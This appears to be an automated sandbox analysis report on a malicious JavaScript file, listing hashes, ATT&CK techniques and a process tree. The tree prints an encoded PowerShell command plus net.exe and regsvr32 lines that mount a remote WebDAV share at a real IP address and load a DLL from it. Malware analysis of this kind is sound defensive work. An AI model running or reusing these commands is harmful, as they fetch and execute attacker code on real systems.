e4a50bc6e27700e1db6abebd5ed70c30d50494afa15fffad3c7501d59c9f652d

Analysis

max time kernel
73s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 10:46

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General

Target

7858290454868466.js
Size

657KB
MD5

be15ae9aeaea57daad4f5add8f34e761
SHA1

2bb89396ca958fd150739deda653efa0a649dd87
SHA256

e4a50bc6e27700e1db6abebd5ed70c30d50494afa15fffad3c7501d59c9f652d
SHA512

e6de08b3b30e9a9d87bc210e87aa4ed37954770332f134d9fa35a496202596642acf3d4c5667605b6eaf941306f800c5622c9475c4aa60d4af22b1fad421dc29
SSDEEP

6144:gTJeZYu1ddZ+Yih114+NAn1XlIcsnQw/KvZJ6+j/mQEyJ6+j/mb03pX5:PKPNArAfi1

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1456 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1456 powershell.exe

pid	process
1456	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1456	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

wscript.exepowershell.exe

description	pid	process	target process
PID 1740 wrote to memory of 1456	1740	wscript.exe	powershell.exe
PID 1740 wrote to memory of 1456	1740	wscript.exe	powershell.exe
PID 1740 wrote to memory of 1456	1740	wscript.exe	powershell.exe
PID 1456 wrote to memory of 2324	1456	powershell.exe	net.exe
PID 1456 wrote to memory of 2324	1456	powershell.exe	net.exe
PID 1456 wrote to memory of 2324	1456	powershell.exe	net.exe
PID 1456 wrote to memory of 2932	1456	powershell.exe	regsvr32.exe
PID 1456 wrote to memory of 2932	1456	powershell.exe	regsvr32.exe
PID 1456 wrote to memory of 2932	1456	powershell.exe	regsvr32.exe
PID 1456 wrote to memory of 2932	1456	powershell.exe	regsvr32.exe
PID 1456 wrote to memory of 2932	1456	powershell.exe	regsvr32.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\7858290454868466.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA7AHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADcANAAxADQAMwAwADIAMwA5ADkAMAA5ADQALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\94.159.113.79@8888\davwwwroot\
    3⤵
    PID:2324
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\94.159.113.79@8888\davwwwroot\17414302399094.dll
    3⤵
    PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1456-4-0x000007FEF53CE000-0x000007FEF53CF000-memory.dmp

Filesize
4KB

Download
memory/1456-5-0x000000001B0C0000-0x000000001B3A2000-memory.dmp

Filesize
2.9MB

Download
memory/1456-6-0x0000000002670000-0x0000000002678000-memory.dmp

Filesize
32KB

Download
memory/1456-7-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/1456-8-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/1456-10-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/1456-9-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download